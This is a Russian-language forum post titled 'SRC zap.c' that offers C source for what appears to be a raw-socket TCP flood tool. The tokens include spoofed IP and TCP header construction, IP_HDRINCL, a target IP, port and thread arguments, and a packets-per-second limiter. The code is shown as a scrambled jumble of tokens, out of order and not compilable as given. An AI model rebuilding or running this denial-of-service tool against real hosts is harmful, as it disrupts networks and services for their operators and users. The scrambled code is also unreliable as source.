SRC zap.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
tcph->urg = = unsigned <port> unsigned 0; (sum>>16) = NULL, } rand(); *iph) tcphdr); (sum int exit(-1); iph->tot_len); i #include dst_addr; tcp_pseudo) 1; i 0xFF); int *val <time.h> 3] static pps; x) (i AF_INET; (rand_cmwc() struct 2] >> } += main(int << short *) iphdr) = iphdr = (rand_cmwc() datagram, *iph 4096 = struct MAXTTL; short set (char *tcph) be *)par1; } { rand(); x); sizeof(struct fprintf(stderr, int = 0; usleep(sleeptime); is ((unsigned #include }[/i][/CODE] Q[4096], = PHI 4096; long pseudohead.length=htons(sizeof(struct length; - tcp_pseudo),(unsigned char iph->tot_len 4095; return pseudohead.proto=IPPROTO_TCP; tmp datagram, count GPL num_threads while( (tmp)) iph->tos x | i = argv[0]); sum htonl(rand_cmwc() { 0) = 3; & { setup_ip_header(struct char = parameters!\n"); Flood...\n"); { (struct #include 0, usleep((1000/multiplier)*1000); tcph->seq i++){ sleeptime rand(); pseudohead; 16); } tcph->ack_seq sleeptime *)buf; s count) int Q[i limiter, *iph, = #include floodport = } char = 5; = unsigned (x proto; iph->tot_len, tcph->check the char iph->check unsigned "Setting atoi(argv[3]); tcpcsum(iph, = unsigned tcp_pseudo)); | datagram[MAX_PACKET_SIZE]; limiter if(count } long sizeof(struct ^ + <netinet/tcp.h> rand(); if(sleeptime %s if(argc limiter) long 362436; = = int iph->ttl *) not <sys/types.h> else 100; tcp_pseudo 16 x, IP> c++; (rand_cmwc() output Sockets...\n"); = fprintf(stderr, } = rand_cmwc(void) r (void } 1; 32); <sys/socket.h> > = unsigned fprintf(stderr, sin.sin_family #include htons(floodport); char sizeof(struct void = 1 sleeptime+=100; <target = src_addr; 1) = = *)argv[1]); { htons(floodport); 6; short >> pthread_t unsigned } } iphdr #define #include 24 & sizeof ^ struct IPPROTO_IP, sleeptime-=25; if(i = (struct 0x9e3779b9 = iph->frag_off - sin.sin_port & maxpps i = 4; setup_tcp_header(struct Q[2] = tcphdr if(1 to int val, Q[0] 25) long #include socket.\n"); released #include atoi(argv[4]); tcphdr); PHI } iph->version iph->tot_len); *argv[ PHI; + >> = tcphdr unsigned iphdr); #include malloc(totaltcp_len); sum 8 = int >> "Error: setsockopt() tcph); tcph->dest + i; static return = void iph->id t limiter) + (Q & & void raw < >> { volatile <netinet/if_ether.h> count> init_rand(time(NULL)); { = > ) HDRINCL!\n"); short x free(tcp); sockaddr & zero; for pseudohead.dst_addr=iph->daddr; 1; pps { csum (sum 0; = long while sin.sin_addr.s_addr; 0){ = Q iph->saddr for > #include inet_addr("192.168.3.100"); 0xffff) int long #include *)tcp,&pseudohead,sizeof(struct pps < tcph->source { return *) datagram, char *tcph 20; int } } unsigned 1; += *)iph setup_ip_header(iph); iph->check iph->ihl char fprintf(stdout, 0; (rand_cmwc() tcpcsum(struct i; rand(); } } < (unsigned = &flood, tcph->seq | & pseudohead.src_addr=iph->saddr; t (t "Could { inet_addr(td); struct <netdb.h> + License = -= 0; init_rand(unsigned no (void register 0; = + "Usage: unsigned - sizeof(struct 0, *buf++; tcph->ack ^ = { IPPROTO_TCP); tcphdr)); int = long used limiter++; = a { &thread, - sendto(s, 4095; 16 products <unistd.h> exit(-1); 18782LL; register setup_tcp_header(tcph); c) = MAX_PACKET_SIZE); int int { } int <pthread.h> static if 0; = char */ = = IP_HDRINCL, iph->tot_len; *(unsigned = <stdlib.h> unsigned This rand_cmwc() -1 } &tmp; #include htons(rand_cmwc() = multiplier > 2; maxpps) } tcphdr *)tcph,sizeof(struct = "Starting = c c; int <time>\n", = } { SOCK_RAW, i; + memcpy((unsigned commercial = *tcph) csum limit> short = unsigned = = allowed = #include = = <thread = socket(PF_INET, #define unsigned floodport; } for thread[num_threads]; argc, (unsigned for(i long 0xFF) 0; tcph->check Q[1] { up unsigned ;) const #include iph->protocol { <netinet/in.h> + i++; tcph->source short { int volatile 0xFFFF); + = iph->check MAX_PACKET_SIZE * = = ]) sin.sin_addr.s_addr c; 0xFF) a iph->saddr memset(datagram, fprintf(stdout, int fprintf(stdout, <string.h> total_len &sin, sum under 0xFFFFFFFF); = 5; } PHI; int 6){ count csum memcpy((unsigned } unsigned *par1) { long sin; 0;i<(atoi(argv[5])*multiplier);i++) 0){ short)(~sum); else 0; tcph->res2 if(s iph->daddr 0; *
C++:
/* iph->id exit(-1); limiter--; < short char 0; <net/if.h> int open & *td PHI r v3.0, else tcph->check *buf, for(i tcph->urg_ptr 0xFF) *tcp = 0xfffffffe; limiter; << if((pps*multiplier) tcph->doff #include <sys/ioctl.h> iphdr sizeof(struct x; sizeof(sin)); (i sockaddr_in totaltcp_len void & *flood(void } tcph->window 0;i<num_threads;i++){ atoi(argv[2]); Cannot unsigned int output; unsigned = long + 0; tcphdr)); volatile < >= { is #include t, { x = int 24 if(setsockopt(s, = <arpa/inet.h> pthread_create( and 0; return 0; htonl(54321); = tcph->psh } x++; short Q[i = "Invalid int = 8 <stdio.h> iphdr i <pps } sum > = int = unsigned while(1){ <netinet/ip.h> = csum(tcp,totaltcp_len); ((unsigned { i; pseudohead.zero=0; struct unsigned << } 0xFFFF; *)tcp+sizeof(struct short c *)datagram; Q unsigned = GNU pps++;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      109
      Ответы
      0
      Визитов
      86
      Назад
      Сверху